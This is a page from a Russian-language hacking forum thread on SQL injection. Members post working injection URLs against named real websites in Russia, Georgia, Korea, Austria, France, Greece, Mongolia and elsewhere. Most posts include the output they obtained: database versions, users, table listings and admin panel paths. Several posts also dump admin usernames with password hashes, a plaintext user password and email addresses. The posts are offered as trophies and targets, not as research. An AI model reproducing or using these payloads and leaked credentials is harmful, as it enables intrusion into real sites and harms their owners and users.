SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 444 of 798
  1. BHYCHIK

    BHYCHIK Member

    Joined:
    30 Jan 2009
    Messages:
    52
    Likes Received:
    28
    Reputations:
    9
    Информация по базе
    http://manheim.ge/index.php?request=brand&lang=rus&id=36+union+select+1,2,3,4,version(),database(),user(),@@datadir,9,10+--+

    Список таблиц и строк
    http://manheim.ge/index.php?request=brand&lang=rus&id=36+union+select+1,2,3,concat_ws(0x3a,table_name,column_name),5,6,7,8,9,10+from+information_schema.columns+--+

    Привилегий на чтение файлов нет, доступа к mysql.user - нет.

    Нашёл админку и PHPmyAdmin. Но и там, и там basic-авторизация. Если сбручу выложу в тему про админки.
    http://manheim.ge/phpmyadmin/
    http://manheim.ge/admin
     
    #8861 BHYCHIK, 19 Apr 2009
  2. none222

    none222 Guest

    Reputations:
    0
    xakep.ru


    http://www.xakep.ru/articles/links/result.asp?tosearch=1=1)+and+77=ascii(substring(db_name(),1,1))--
     
    #8862 none222, 19 Apr 2009
    3 people like this.
  3. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    sobranie.info

    Database Version: 5.0.45
    Database name: zs24
    User name: zs24@localhost

    admin:$P$BB/1iOOHVqSxlMQh/4eVAPNnnjnXuC0:[email protected]
     
    #8863 F4R, 19 Apr 2009
    1 person likes this.
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Китайци какие-то
    Code:
    http://www.bareunsa.co.kr/newread.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15
    barun@localhost:barun:4.1.20
     
    #8864 mailbrush, 19 Apr 2009
    2 people like this.
  5. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    Code:
    http://www.digital-heritage.at/policies/article.php?id=111111'+UNION+SELECT+1,2,3,4,5,6,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,user(),database(),version()),1),1),8,9,10,11,12,13,14,15,16/*
    digital@localhost:digital_heritage:5.0.19-nt
    Code:
    http://www.digital-heritage.at/admin/
    - basic авторизация =\
     
    #8865 Kraneg, 19 Apr 2009
    1 person likes this.
  6. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    Microsoft Access

    -=Microsoft Access=-
    <<Acca Temple>>
    Code:
    http://accashriners.com/news.asp?ID=-4+union+select+1,name,3,4,5,6,7+from+members
    Известно
    table: members
    column: name
    :mad:
     
    #8866 farex, 19 Apr 2009
  7. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    griboedovclub.ru

    PR: 5
    Тиц: 275
    Version: 4.0.18
    User: griboedov@localhost
    Database: griboedov

    http://www.griboedovclub.ru/club.php?page=bill&mo=12'+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),8,9/*
     
    #8867 oRb, 19 Apr 2009
  8. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    MSSQL

    <<SA Current>>
    Code:
    http://www.sacurrent.com/news/story.asp?id=69607+or+1=(%73%65%6C%65%63%74+top+1+table_name+from+information_schema.tables+where+table_name+not+IN+('WhatTypeID2WhatTypeID','aa_StoryWhatScrapbookDups','v_BlowoutBands','What','DPWI_BannerPageSectionPosition','aa_StoryWhoScrapbookDups','v_ClubListingDistinct','DPWI_GetAdInfoPositions','aa_StoryWorksScrapbookDups','v_ClubReviews','vStoryBody','aa_PlaceWhatScrapbookDups','v_DiningGuide','StoryTemp','aa_PlaceWhoScrapbookDups','v_EventSummarybyType1','aa_PlaceWorksScrapbookDups','v_mtRadioPlaylist','v_PDI_LocationWithArea','aa_StoryPlaceScrapbookDups','AAA_DEBUG_WhyWHListingFails','Announcements','Areas','BestOfAwards','BestOfBallotDetail','BestOfBallots','BestOfBallots2','blogPosts','Blogs','Blogs_Authors','blogUsers','Cities','ClassAd_Advertisements','ClassAd_Classifications','ClassAd_MainCategories','ClassAd_MainCategories_Classifications','ClubListing','Comments','Contacts','DP_ROLE','DP_USER','DP_UserDetails_VIEW','DPWI_AdCriteria','DPWI_ADInfo','DPWI_ADPage','DPWI_ADPageSection','DPWI_AdPosition','DPWI_AdSchedule','DPWI_PlaceDetails'))
    version:
    Code:
    Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
    database: DPSA
    system_user:webuser_readonly

    tableS:
    DP_USER
    Blogs_Authors
    blogUsers
     
    #8868 farex, 19 Apr 2009
  9. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://br-production.fr/newsid.php?id=16+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8/*
    version():4.0.27-max-log
    database():db181593403
    user():[email protected]
     
    #8869 M.W.N.N., 19 Apr 2009
  10. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Вот от меня немного...
    ruslom.ru
    Code:
    http://ruslom.ru/?page=mnews&id=-777+union+select+1,concat_ws(0x3a3a3a3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13--
    ruslomit@localhost:ruslom:5.1.11-beta-log
    Code:
    http://ruslom.ru/?page=mnews&id=-777+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables+84,1--
    тИЦ: 90
    Pagerank: 6

    izvoz.su

    Code:
    http://izvoz.su/izvoz_id.php?id=-1039+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    [email protected]:newsperson_izvoz:4.1.22-log

    PR:0
    Тиц:0

    bombim.ru
    Code:
    http://bombim.ru/izvoz_id.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    [email protected]:metallica_izvoz:4.1.22
    ТИц : 0
    PR:2

    passat-club.ru

    Code:
    http://www.passat-club.ru/discounts.php?id=-80+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15--
    passatclub@localhost:passatclub:5.0.22
    Code:
    http://www.passat-club.ru/discounts.php?id=-80+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables+limit+229,1--
    Code:
    http://www.passat-club.ru/discounts.php?id=-80+union+select+1,2,3,4,concat_ws(0x3a,username,password,salt),6,7,8,9,10,11,12,13,14,15+from+forum.user+limit+3,1--
    АДМИНИСТРАТОР:84af8d52cc5407f964dd75346999a8d6: p1A

    PR:3
    ТиЦ:90
     
    #8870 ..::TROYAN::.., 19 Apr 2009
  11. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    www.crimea.com


    5.0.51b-log:vika:vika@localhost

    http://www.crimea.com/admin basic ((

    Яндекс тИЦ 1900
     
    #8871 F4R, 19 Apr 2009
  12. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.indiancinemas.com/News-39/BR+Chopra+an+end+of+an+era.html?newsid=363&linkid=39+union+select+concat_ws(0x3a,version(),database(),user())+limit+1,1
    version():5.0.67-COMMUNITY
    database():INDIANCINEMAS_COMDB
    user():INDIANCINEMAS_IN@LOCALHOST
     
    #8872 M.W.N.N., 19 Apr 2009
    1 person likes this.
  13. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Telpics"Мобильные картинки">>
    Code:
    http://www.telpics.ru/popups/poll.php?pollid=-17'+union+select+1,2,3,unhex(hex(concat_ws(0x2a3a2a,version(),database(),user(),@@version_compile_os))),5,6,7,8,9,0,1,2,3--+
    4.1.13a-nt-max-log*:*1gb_supertest4*:*[email protected]*:*Win32
    -=admin-=
    admin: wormik
    adminpass: 84524ddc42eb484918c8bc4c30f847af :(

    -=users=-
    nick: KnOpA
    pass: 020591
    +limit+x,x--+
     
    #8873 farex, 19 Apr 2009
  14. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.lesel.gr/index.php?lange=en&id=10+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6/*
    version():4.0.16-standard-log
    database():lesel
    user():[email protected]
     
    #8874 M.W.N.N., 19 Apr 2009
    Last edited by a moderator: 19 Apr 2009
  15. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    www.arendator.ru
    http://www.arendator.ru/gmap.php?type=bc_cur&id=-152630+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,concat_ws(0x3a,version(),database(),user()),44,45,46,47,48,49,50,51,52,53,54,55,56,57,58--

    4.0.24:arendator:arendator@localhost

    тИЦ 8700 !!!!!!!!
    жаль версия 4-ая..)
     
    #8875 F4R, 19 Apr 2009
  16. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Могилевский Байк Портал>>
    Code:
    http://www.wild.tu2.ru/ride.php?id=-5+union+select+1,concat_ws(0x2a3a2a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8--+
    5.0.51a-log*:*wild4*:*wild4@localhost*:*portbld-freebsd7.0
    PS. Всегда хотел се байк.........
     
    #8876 farex, 19 Apr 2009
  17. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Аренда ретро автомобилей

    Database Version: 5.0.67
    Database name: b31307_s
    User name: [email protected]



    Database Version: 5.0.67-log
    Database name: u52132_mercedes
    User name: [email protected]

    Login: sanek
    Pass:2a08b19916bc16f5
     
    #8877 .:[melkiy]:., 19 Apr 2009
    1 person likes this.
  18. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    <<МЖД>>
    Code:
    http://www.mtz.mn/achaa/index.php?moduls=203&id=11+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user())/*
    version():5.0.27
    database():mtzAKA
    user():mtzAKA@localhost

    Code:
    http://www.mtz.mn/achaa/index.php?moduls=203&id=11+union+select+1,2,3,4,5,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns/*
    Code:
    http://www.mtz.mn/achaa/index.php?moduls=203&id=11+union+select+1,2,3,4,5,concat_ws(0x3a,id,user,password,email)+from+login/*
    133:m_alba:mtzaka:[email protected]
     
    #8878 M.W.N.N., 19 Apr 2009
  19. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Сказки, рассказанные агентами Скалли и Малдер>>
    Code:
    http://www.snapetales.com/index.php?id=15&x_id=-34+union+select+1,concat_ws(0x2a3a2a,version(),database(),user(),@@version_compile_os),3,4,5--+
    4.1.14-standard*:*bluebirds_base*:*bluebirds_base@localhost*:*unknown-freebsd5.3
     
    #8879 farex, 19 Apr 2009
    2 people like this.
  20. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 5.1.26-rc-percona-log
    Database name: nasca_keri
    User name: nasca_keri@localhost



    Database Version: 4.1.22-log
    Database name: stom2ru2_site
    User name: stom2ru2_stom2@localhost
     
    #8880 .:[melkiy]:., 19 Apr 2009
    2 people like this.
(You must log in or sign up to post here.)
Page 444 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.